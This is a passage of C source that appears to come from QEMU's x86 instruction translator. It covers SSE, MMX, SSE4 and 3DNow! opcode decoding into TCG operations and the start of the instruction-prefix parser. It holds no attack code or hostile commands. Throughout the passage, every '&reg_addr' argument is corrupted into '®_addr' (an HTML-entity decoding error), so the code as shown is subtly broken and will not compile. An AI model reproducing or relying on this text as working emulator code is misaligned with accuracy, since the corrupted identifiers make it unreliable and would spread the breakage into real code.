offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)));
}
break;
case 0x216: /* movshdup */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldo_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg]));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(1)),
offsetof(CPUX86State,xmm_regs[rm].XMM_L(1)));
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(3)),
offsetof(CPUX86State,xmm_regs[rm].XMM_L(3)));
}
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)),
offsetof(CPUX86State,xmm_regs[reg].XMM_L(1)));
gen_op_movl(offsetof(CPUX86State,xmm_regs[reg].XMM_L(2)),
offsetof(CPUX86State,xmm_regs[reg].XMM_L(3)));
break;
case 0x178:
case 0x378:
{
int bit_index, field_length;
if (b1 == 1 && reg != 0)
goto illegal_op;
field_length = ldub_code(s->pc++) & 0x3F;
bit_index = ldub_code(s->pc++) & 0x3F;
tcg_gen_addi_ptr(cpu_ptr0, cpu_env,
offsetof(CPUX86State,xmm_regs[reg]));
if (b1 == 1)
gen_helper_extrq_i(cpu_ptr0, tcg_const_i32(bit_index),
tcg_const_i32(field_length));
else
gen_helper_insertq_i(cpu_ptr0, tcg_const_i32(bit_index),
tcg_const_i32(field_length));
}
break;
case 0x7e: /* movd ea, mm */
#ifdef TARGET_X86_64
if (s->dflag == 2) {
tcg_gen_ld_i64(cpu_T[0], cpu_env,
offsetof(CPUX86State,fpregs[reg].mmx));
gen_ldst_modrm(s, modrm, OT_QUAD, OR_TMP0, 1);
} else
#endif
{
tcg_gen_ld32u_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,fpregs[reg].mmx.MMX_L(0)));
gen_ldst_modrm(s, modrm, OT_LONG, OR_TMP0, 1);
}
break;
case 0x17e: /* movd ea, xmm */
#ifdef TARGET_X86_64
if (s->dflag == 2) {
tcg_gen_ld_i64(cpu_T[0], cpu_env,
offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
gen_ldst_modrm(s, modrm, OT_QUAD, OR_TMP0, 1);
} else
#endif
{
tcg_gen_ld32u_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)));
gen_ldst_modrm(s, modrm, OT_LONG, OR_TMP0, 1);
}
break;
case 0x27e: /* movq xmm, ea */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movq(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)),
offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)));
}
gen_op_movq_env_0(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1)));
break;
case 0x7f: /* movq ea, mm */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_stq_env_A0(s->mem_index, offsetof(CPUX86State,fpregs[reg].mmx));
} else {
rm = (modrm & 7);
gen_op_movq(offsetof(CPUX86State,fpregs[rm].mmx),
offsetof(CPUX86State,fpregs[reg].mmx));
}
break;
case 0x011: /* movups */
case 0x111: /* movupd */
case 0x029: /* movaps */
case 0x129: /* movapd */
case 0x17f: /* movdqa ea, xmm */
case 0x27f: /* movdqu ea, xmm */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_sto_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg]));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movo(offsetof(CPUX86State,xmm_regs[rm]),
offsetof(CPUX86State,xmm_regs[reg]));
}
break;
case 0x211: /* movss ea, xmm */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)));
gen_op_st_T0_A0(OT_LONG + s->mem_index);
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movl(offsetof(CPUX86State,xmm_regs[rm].XMM_L(0)),
offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)));
}
break;
case 0x311: /* movsd ea, xmm */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_stq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movq(offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)),
offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
}
break;
case 0x013: /* movlps */
case 0x113: /* movlpd */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_stq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
} else {
goto illegal_op;
}
break;
case 0x017: /* movhps */
case 0x117: /* movhpd */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_stq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1)));
} else {
goto illegal_op;
}
break;
case 0x71: /* shift mm, im */
case 0x72:
case 0x73:
case 0x171: /* shift xmm, im */
case 0x172:
case 0x173:
val = ldub_code(s->pc++);
if (is_xmm) {
gen_op_movl_T0_im(val);
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_t0.XMM_L(0)));
gen_op_movl_T0_0();
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_t0.XMM_L(1)));
op1_offset = offsetof(CPUX86State,xmm_t0);
} else {
gen_op_movl_T0_im(val);
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,mmx_t0.MMX_L(0)));
gen_op_movl_T0_0();
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,mmx_t0.MMX_L(1)));
op1_offset = offsetof(CPUX86State,mmx_t0);
}
sse_op2 = sse_op_table2[((b - 1) & 3) * 8 + (((modrm >> 3)) & 7)][b1];
if (!sse_op2)
goto illegal_op;
if (is_xmm) {
rm = (modrm & 7) | REX_B(s);
op2_offset = offsetof(CPUX86State,xmm_regs[rm]);
} else {
rm = (modrm & 7);
op2_offset = offsetof(CPUX86State,fpregs[rm].mmx);
}
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op2_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op1_offset);
((void (*)(TCGv_ptr, TCGv_ptr))sse_op2)(cpu_ptr0, cpu_ptr1);
break;
case 0x050: /* movmskps */
rm = (modrm & 7) | REX_B(s);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env,
offsetof(CPUX86State,xmm_regs[rm]));
gen_helper_movmskps(cpu_tmp2_i32, cpu_ptr0);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_mov_reg_T0(OT_LONG, reg);
break;
case 0x150: /* movmskpd */
rm = (modrm & 7) | REX_B(s);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env,
offsetof(CPUX86State,xmm_regs[rm]));
gen_helper_movmskpd(cpu_tmp2_i32, cpu_ptr0);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_mov_reg_T0(OT_LONG, reg);
break;
case 0x02a: /* cvtpi2ps */
case 0x12a: /* cvtpi2pd */
gen_helper_enter_mmx();
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
op2_offset = offsetof(CPUX86State,mmx_t0);
gen_ldq_env_A0(s->mem_index, op2_offset);
} else {
rm = (modrm & 7);
op2_offset = offsetof(CPUX86State,fpregs[rm].mmx);
}
op1_offset = offsetof(CPUX86State,xmm_regs[reg]);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
switch(b >> 8) {
case 0x0:
gen_helper_cvtpi2ps(cpu_ptr0, cpu_ptr1);
break;
default:
case 0x1:
gen_helper_cvtpi2pd(cpu_ptr0, cpu_ptr1);
break;
}
break;
case 0x22a: /* cvtsi2ss */
case 0x32a: /* cvtsi2sd */
ot = (s->dflag == 2) ? OT_QUAD : OT_LONG;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 0);
op1_offset = offsetof(CPUX86State,xmm_regs[reg]);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
sse_op2 = sse_op_table3[(s->dflag == 2) * 2 + ((b >> 8) - 2)];
if (ot == OT_LONG) {
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
((void (*)(TCGv_ptr, TCGv_i32))sse_op2)(cpu_ptr0, cpu_tmp2_i32);
} else {
((void (*)(TCGv_ptr, TCGv))sse_op2)(cpu_ptr0, cpu_T[0]);
}
break;
case 0x02c: /* cvttps2pi */
case 0x12c: /* cvttpd2pi */
case 0x02d: /* cvtps2pi */
case 0x12d: /* cvtpd2pi */
gen_helper_enter_mmx();
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
op2_offset = offsetof(CPUX86State,xmm_t0);
gen_ldo_env_A0(s->mem_index, op2_offset);
} else {
rm = (modrm & 7) | REX_B(s);
op2_offset = offsetof(CPUX86State,xmm_regs[rm]);
}
op1_offset = offsetof(CPUX86State,fpregs[reg & 7].mmx);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
switch(b) {
case 0x02c:
gen_helper_cvttps2pi(cpu_ptr0, cpu_ptr1);
break;
case 0x12c:
gen_helper_cvttpd2pi(cpu_ptr0, cpu_ptr1);
break;
case 0x02d:
gen_helper_cvtps2pi(cpu_ptr0, cpu_ptr1);
break;
case 0x12d:
gen_helper_cvtpd2pi(cpu_ptr0, cpu_ptr1);
break;
}
break;
case 0x22c: /* cvttss2si */
case 0x32c: /* cvttsd2si */
case 0x22d: /* cvtss2si */
case 0x32d: /* cvtsd2si */
ot = (s->dflag == 2) ? OT_QUAD : OT_LONG;
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
if ((b >> 8) & 1) {
gen_ldq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_t0.XMM_Q(0)));
} else {
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_t0.XMM_L(0)));
}
op2_offset = offsetof(CPUX86State,xmm_t0);
} else {
rm = (modrm & 7) | REX_B(s);
op2_offset = offsetof(CPUX86State,xmm_regs[rm]);
}
sse_op2 = sse_op_table3[(s->dflag == 2) * 2 + ((b >> 8) - 2) + 4 +
(b & 1) * 4];
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op2_offset);
if (ot == OT_LONG) {
((void (*)(TCGv_i32, TCGv_ptr))sse_op2)(cpu_tmp2_i32, cpu_ptr0);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
} else {
((void (*)(TCGv, TCGv_ptr))sse_op2)(cpu_T[0], cpu_ptr0);
}
gen_op_mov_reg_T0(ot, reg);
break;
case 0xc4: /* pinsrw */
case 0x1c4:
s->rip_offset = 1;
gen_ldst_modrm(s, modrm, OT_WORD, OR_TMP0, 0);
val = ldub_code(s->pc++);
if (b1) {
val &= 7;
tcg_gen_st16_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,xmm_regs[reg].XMM_W(val)));
} else {
val &= 3;
tcg_gen_st16_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,fpregs[reg].mmx.MMX_W(val)));
}
break;
case 0xc5: /* pextrw */
case 0x1c5:
if (mod != 3)
goto illegal_op;
ot = (s->dflag == 2) ? OT_QUAD : OT_LONG;
val = ldub_code(s->pc++);
if (b1) {
val &= 7;
rm = (modrm & 7) | REX_B(s);
tcg_gen_ld16u_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,xmm_regs[rm].XMM_W(val)));
} else {
val &= 3;
rm = (modrm & 7);
tcg_gen_ld16u_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,fpregs[rm].mmx.MMX_W(val)));
}
reg = ((modrm >> 3) & 7) | rex_r;
gen_op_mov_reg_T0(ot, reg);
break;
case 0x1d6: /* movq ea, xmm */
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_stq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
} else {
rm = (modrm & 7) | REX_B(s);
gen_op_movq(offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)),
offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)));
gen_op_movq_env_0(offsetof(CPUX86State,xmm_regs[rm].XMM_Q(1)));
}
break;
case 0x2d6: /* movq2dq */
gen_helper_enter_mmx();
rm = (modrm & 7);
gen_op_movq(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)),
offsetof(CPUX86State,fpregs[rm].mmx));
gen_op_movq_env_0(offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1)));
break;
case 0x3d6: /* movdq2q */
gen_helper_enter_mmx();
rm = (modrm & 7) | REX_B(s);
gen_op_movq(offsetof(CPUX86State,fpregs[reg & 7].mmx),
offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)));
break;
case 0xd7: /* pmovmskb */
case 0x1d7:
if (mod != 3)
goto illegal_op;
if (b1) {
rm = (modrm & 7) | REX_B(s);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, offsetof(CPUX86State,xmm_regs[rm]));
gen_helper_pmovmskb_xmm(cpu_tmp2_i32, cpu_ptr0);
} else {
rm = (modrm & 7);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, offsetof(CPUX86State,fpregs[rm].mmx));
gen_helper_pmovmskb_mmx(cpu_tmp2_i32, cpu_ptr0);
}
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
reg = ((modrm >> 3) & 7) | rex_r;
gen_op_mov_reg_T0(OT_LONG, reg);
break;
case 0x138:
if (s->prefix & PREFIX_REPNZ)
goto crc32;
case 0x038:
b = modrm;
modrm = ldub_code(s->pc++);
rm = modrm & 7;
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
sse_op2 = sse_op_table6[b].op[b1];
if (!sse_op2)
goto illegal_op;
if (!(s->cpuid_ext_features & sse_op_table6[b].ext_mask))
goto illegal_op;
if (b1) {
op1_offset = offsetof(CPUX86State,xmm_regs[reg]);
if (mod == 3) {
op2_offset = offsetof(CPUX86State,xmm_regs[rm | REX_B(s)]);
} else {
op2_offset = offsetof(CPUX86State,xmm_t0);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
switch (b) {
case 0x20: case 0x30: /* pmovsxbw, pmovzxbw */
case 0x23: case 0x33: /* pmovsxwd, pmovzxwd */
case 0x25: case 0x35: /* pmovsxdq, pmovzxdq */
gen_ldq_env_A0(s->mem_index, op2_offset +
offsetof(XMMReg, XMM_Q(0)));
break;
case 0x21: case 0x31: /* pmovsxbd, pmovzxbd */
case 0x24: case 0x34: /* pmovsxwq, pmovzxwq */
tcg_gen_qemu_ld32u(cpu_tmp0, cpu_A0,
(s->mem_index >> 2) - 1);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_tmp0);
tcg_gen_st_i32(cpu_tmp2_i32, cpu_env, op2_offset +
offsetof(XMMReg, XMM_L(0)));
break;
case 0x22: case 0x32: /* pmovsxbq, pmovzxbq */
tcg_gen_qemu_ld16u(cpu_tmp0, cpu_A0,
(s->mem_index >> 2) - 1);
tcg_gen_st16_tl(cpu_tmp0, cpu_env, op2_offset +
offsetof(XMMReg, XMM_W(0)));
break;
case 0x2a: /* movntqda */
gen_ldo_env_A0(s->mem_index, op1_offset);
return;
default:
gen_ldo_env_A0(s->mem_index, op2_offset);
}
}
} else {
op1_offset = offsetof(CPUX86State,fpregs[reg].mmx);
if (mod == 3) {
op2_offset = offsetof(CPUX86State,fpregs[rm].mmx);
} else {
op2_offset = offsetof(CPUX86State,mmx_t0);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldq_env_A0(s->mem_index, op2_offset);
}
}
if (sse_op2 == SSE_SPECIAL)
goto illegal_op;
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
((void (*)(TCGv_ptr, TCGv_ptr))sse_op2)(cpu_ptr0, cpu_ptr1);
if (b == 0x17)
s->cc_op = CC_OP_EFLAGS;
break;
case 0x338: /* crc32 */
crc32:
b = modrm;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
if (b != 0xf0 && b != 0xf1)
goto illegal_op;
if (!(s->cpuid_ext_features & CPUID_EXT_SSE42))
goto illegal_op;
if (b == 0xf0)
ot = OT_BYTE;
else if (b == 0xf1 && s->dflag != 2)
if (s->prefix & PREFIX_DATA)
ot = OT_WORD;
else
ot = OT_LONG;
else
ot = OT_QUAD;
gen_op_mov_TN_reg(OT_LONG, 0, reg);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 0);
gen_helper_crc32(cpu_T[0], cpu_tmp2_i32,
cpu_T[0], tcg_const_i32(8 << ot));
ot = (s->dflag == 2) ? OT_QUAD : OT_LONG;
gen_op_mov_reg_T0(ot, reg);
break;
case 0x03a:
case 0x13a:
b = modrm;
modrm = ldub_code(s->pc++);
rm = modrm & 7;
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
sse_op2 = sse_op_table7[b].op[b1];
if (!sse_op2)
goto illegal_op;
if (!(s->cpuid_ext_features & sse_op_table7[b].ext_mask))
goto illegal_op;
if (sse_op2 == SSE_SPECIAL) {
ot = (s->dflag == 2) ? OT_QUAD : OT_LONG;
rm = (modrm & 7) | REX_B(s);
if (mod != 3)
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
reg = ((modrm >> 3) & 7) | rex_r;
val = ldub_code(s->pc++);
switch (b) {
case 0x14: /* pextrb */
tcg_gen_ld8u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_B(val & 15)));
if (mod == 3)
gen_op_mov_reg_T0(ot, rm);
else
tcg_gen_qemu_st8(cpu_T[0], cpu_A0,
(s->mem_index >> 2) - 1);
break;
case 0x15: /* pextrw */
tcg_gen_ld16u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_W(val & 7)));
if (mod == 3)
gen_op_mov_reg_T0(ot, rm);
else
tcg_gen_qemu_st16(cpu_T[0], cpu_A0,
(s->mem_index >> 2) - 1);
break;
case 0x16:
if (ot == OT_LONG) { /* pextrd */
tcg_gen_ld_i32(cpu_tmp2_i32, cpu_env,
offsetof(CPUX86State,
xmm_regs[reg].XMM_L(val & 3)));
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
if (mod == 3)
gen_op_mov_reg_v(ot, rm, cpu_T[0]);
else
tcg_gen_qemu_st32(cpu_T[0], cpu_A0,
(s->mem_index >> 2) - 1);
} else { /* pextrq */
#ifdef TARGET_X86_64
tcg_gen_ld_i64(cpu_tmp1_i64, cpu_env,
offsetof(CPUX86State,
xmm_regs[reg].XMM_Q(val & 1)));
if (mod == 3)
gen_op_mov_reg_v(ot, rm, cpu_tmp1_i64);
else
tcg_gen_qemu_st64(cpu_tmp1_i64, cpu_A0,
(s->mem_index >> 2) - 1);
#else
goto illegal_op;
#endif
}
break;
case 0x17: /* extractps */
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_L(val & 3)));
if (mod == 3)
gen_op_mov_reg_T0(ot, rm);
else
tcg_gen_qemu_st32(cpu_T[0], cpu_A0,
(s->mem_index >> 2) - 1);
break;
case 0x20: /* pinsrb */
if (mod == 3)
gen_op_mov_TN_reg(OT_LONG, 0, rm);
else
tcg_gen_qemu_ld8u(cpu_tmp0, cpu_A0,
(s->mem_index >> 2) - 1);
tcg_gen_st8_tl(cpu_tmp0, cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_B(val & 15)));
break;
case 0x21: /* insertps */
if (mod == 3) {
tcg_gen_ld_i32(cpu_tmp2_i32, cpu_env,
offsetof(CPUX86State,xmm_regs[rm]
.XMM_L((val >> 6) & 3)));
} else {
tcg_gen_qemu_ld32u(cpu_tmp0, cpu_A0,
(s->mem_index >> 2) - 1);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_tmp0);
}
tcg_gen_st_i32(cpu_tmp2_i32, cpu_env,
offsetof(CPUX86State,xmm_regs[reg]
.XMM_L((val >> 4) & 3)));
if ((val >> 0) & 1)
tcg_gen_st_i32(tcg_const_i32(0 /*float32_zero*/),
cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_L(0)));
if ((val >> 1) & 1)
tcg_gen_st_i32(tcg_const_i32(0 /*float32_zero*/),
cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_L(1)));
if ((val >> 2) & 1)
tcg_gen_st_i32(tcg_const_i32(0 /*float32_zero*/),
cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_L(2)));
if ((val >> 3) & 1)
tcg_gen_st_i32(tcg_const_i32(0 /*float32_zero*/),
cpu_env, offsetof(CPUX86State,
xmm_regs[reg].XMM_L(3)));
break;
case 0x22:
if (ot == OT_LONG) { /* pinsrd */
if (mod == 3)
gen_op_mov_v_reg(ot, cpu_tmp0, rm);
else
tcg_gen_qemu_ld32u(cpu_tmp0, cpu_A0,
(s->mem_index >> 2) - 1);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_tmp0);
tcg_gen_st_i32(cpu_tmp2_i32, cpu_env,
offsetof(CPUX86State,
xmm_regs[reg].XMM_L(val & 3)));
} else { /* pinsrq */
#ifdef TARGET_X86_64
if (mod == 3)
gen_op_mov_v_reg(ot, cpu_tmp1_i64, rm);
else
tcg_gen_qemu_ld64(cpu_tmp1_i64, cpu_A0,
(s->mem_index >> 2) - 1);
tcg_gen_st_i64(cpu_tmp1_i64, cpu_env,
offsetof(CPUX86State,
xmm_regs[reg].XMM_Q(val & 1)));
#else
goto illegal_op;
#endif
}
break;
}
return;
}
if (b1) {
op1_offset = offsetof(CPUX86State,xmm_regs[reg]);
if (mod == 3) {
op2_offset = offsetof(CPUX86State,xmm_regs[rm | REX_B(s)]);
} else {
op2_offset = offsetof(CPUX86State,xmm_t0);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldo_env_A0(s->mem_index, op2_offset);
}
} else {
op1_offset = offsetof(CPUX86State,fpregs[reg].mmx);
if (mod == 3) {
op2_offset = offsetof(CPUX86State,fpregs[rm].mmx);
} else {
op2_offset = offsetof(CPUX86State,mmx_t0);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_ldq_env_A0(s->mem_index, op2_offset);
}
}
val = ldub_code(s->pc++);
if ((b & 0xfc) == 0x60) { /* pcmpXstrX */
s->cc_op = CC_OP_EFLAGS;
if (s->dflag == 2)
/* The helper must use entire 64-bit gp registers */
val |= 1 << 8;
}
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
((void (*)(TCGv_ptr, TCGv_ptr, TCGv_i32))sse_op2)(cpu_ptr0, cpu_ptr1, tcg_const_i32(val));
break;
default:
goto illegal_op;
}
} else {
/* generic MMX or SSE operation */
switch(b) {
case 0x70: /* pshufx insn */
case 0xc6: /* pshufx insn */
case 0xc2: /* compare insns */
s->rip_offset = 1;
break;
default:
break;
}
if (is_xmm) {
op1_offset = offsetof(CPUX86State,xmm_regs[reg]);
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
op2_offset = offsetof(CPUX86State,xmm_t0);
if (b1 >= 2 && ((b >= 0x50 && b <= 0x5f && b != 0x5b) ||
b == 0xc2)) {
/* specific case for SSE single instructions */
if (b1 == 2) {
/* 32 bit access */
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_t0.XMM_L(0)));
} else {
/* 64 bit access */
gen_ldq_env_A0(s->mem_index, offsetof(CPUX86State,xmm_t0.XMM_D(0)));
}
} else {
gen_ldo_env_A0(s->mem_index, op2_offset);
}
} else {
rm = (modrm & 7) | REX_B(s);
op2_offset = offsetof(CPUX86State,xmm_regs[rm]);
}
} else {
op1_offset = offsetof(CPUX86State,fpregs[reg].mmx);
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
op2_offset = offsetof(CPUX86State,mmx_t0);
gen_ldq_env_A0(s->mem_index, op2_offset);
} else {
rm = (modrm & 7);
op2_offset = offsetof(CPUX86State,fpregs[rm].mmx);
}
}
switch(b) {
case 0x0f: /* 3DNow! data insns */
if (!(s->cpuid_ext2_features & CPUID_EXT2_3DNOW))
goto illegal_op;
val = ldub_code(s->pc++);
sse_op2 = sse_op_table5[val];
if (!sse_op2)
goto illegal_op;
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
((void (*)(TCGv_ptr, TCGv_ptr))sse_op2)(cpu_ptr0, cpu_ptr1);
break;
case 0x70: /* pshufx insn */
case 0xc6: /* pshufx insn */
val = ldub_code(s->pc++);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
((void (*)(TCGv_ptr, TCGv_ptr, TCGv_i32))sse_op2)(cpu_ptr0, cpu_ptr1, tcg_const_i32(val));
break;
case 0xc2:
/* compare insns */
val = ldub_code(s->pc++);
if (val >= 8)
goto illegal_op;
sse_op2 = sse_op_table4[val][b1];
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
((void (*)(TCGv_ptr, TCGv_ptr))sse_op2)(cpu_ptr0, cpu_ptr1);
break;
case 0xf7:
/* maskmov : we must prepare A0 */
if (mod != 3)
goto illegal_op;
#ifdef TARGET_X86_64
if (s->aflag == 2) {
gen_op_movq_A0_reg(R_EDI);
} else
#endif
{
gen_op_movl_A0_reg(R_EDI);
if (s->aflag == 0)
gen_op_andl_A0_ffff();
}
gen_add_A0_ds_seg(s);
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
((void (*)(TCGv_ptr, TCGv_ptr, TCGv))sse_op2)(cpu_ptr0, cpu_ptr1, cpu_A0);
break;
default:
tcg_gen_addi_ptr(cpu_ptr0, cpu_env, op1_offset);
tcg_gen_addi_ptr(cpu_ptr1, cpu_env, op2_offset);
((void (*)(TCGv_ptr, TCGv_ptr))sse_op2)(cpu_ptr0, cpu_ptr1);
break;
}
if (b == 0x2e || b == 0x2f) {
s->cc_op = CC_OP_EFLAGS;
}
}
}
/* convert one instruction. s->is_jmp is set if the translation must
be stopped. Return the next pc value */
static target_ulong disas_insn(DisasContext *s, target_ulong pc_start)
{
int b, prefixes, aflag, dflag;
int shift, ot;
int modrm, reg, rm, mod, reg_addr, op, opreg, offset_addr, val;
target_ulong next_eip, tval;
int rex_w, rex_r;
if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP)))
tcg_gen_debug_insn_start(pc_start);
s->pc = pc_start;
prefixes = 0;
aflag = s->code32;
dflag = s->code32;
s->override = -1;
rex_w = -1;
rex_r = 0;
#ifdef TARGET_X86_64
s->rex_x = 0;
s->rex_b = 0;
x86_64_hregs = 0;
#endif
s->rip_offset = 0; /* for relative ip address */
next_byte:
b = ldub_code(s->pc);
s->pc++;
/* check prefixes */
#ifdef TARGET_X86_64
if (CODE64(s)) {
switch (b) {
case 0xf3:
prefixes |= PREFIX_REPZ;
goto next_byte;
case 0xf2:
prefixes |= PREFIX_REPNZ;
goto next_byte;
case 0xf0:
prefixes |= PREFIX_LOCK;
goto next_byte;
case 0x2e:
s->override = R_CS;
goto next_byte;
case 0x36:
s->override = R_SS;
goto next_byte;
case 0x3e:
s->override = R_DS;
goto next_byte;
case 0x26:
s->override = R_ES;
goto next_byte;
case 0x64:
s->override = R_FS;
goto next_byte;
case 0x65:
s->override = R_GS;
goto next_byte;
case 0x66:
prefixes |= PREFIX_DATA;
goto next_byte;
case 0x67:
prefixes |= PREFIX_ADR;
goto next_byte;
case 0x40 ... 0x4f:
/* REX prefix */
rex_w = (b >> 3) & 1;
rex_r = (b & 0x4) << 1;
s->rex_x = (b & 0x2) << 2;
REX_B(s) = (b & 0x1) << 3;
x86_64_hregs = 1; /* select uniform byte register addressing */
goto next_byte;
}
if (rex_w == 1) {
/* 0x66 is ignored if rex.w is set */
dflag = 2;
} else {
if (prefixes & PREFIX_DATA)
dflag ^= 1;
}
if (!(prefixes & PREFIX_ADR))
aflag = 2;
} else
#endif
{
switch (b) {
case 0xf3:
prefixes |= PREFIX_REPZ;
goto next_byte;
case 0xf2:
prefixes |= PREFIX_REPNZ;
goto next_byte;
case 0xf0:
prefixes |= PREFIX_LOCK;
goto next_byte;
case 0x2e:
s->override = R_CS;
goto next_byte;
case 0x36:
s->override = R_SS;
goto next_byte;
case 0x3e:
s->override = R_DS;
goto next_byte;
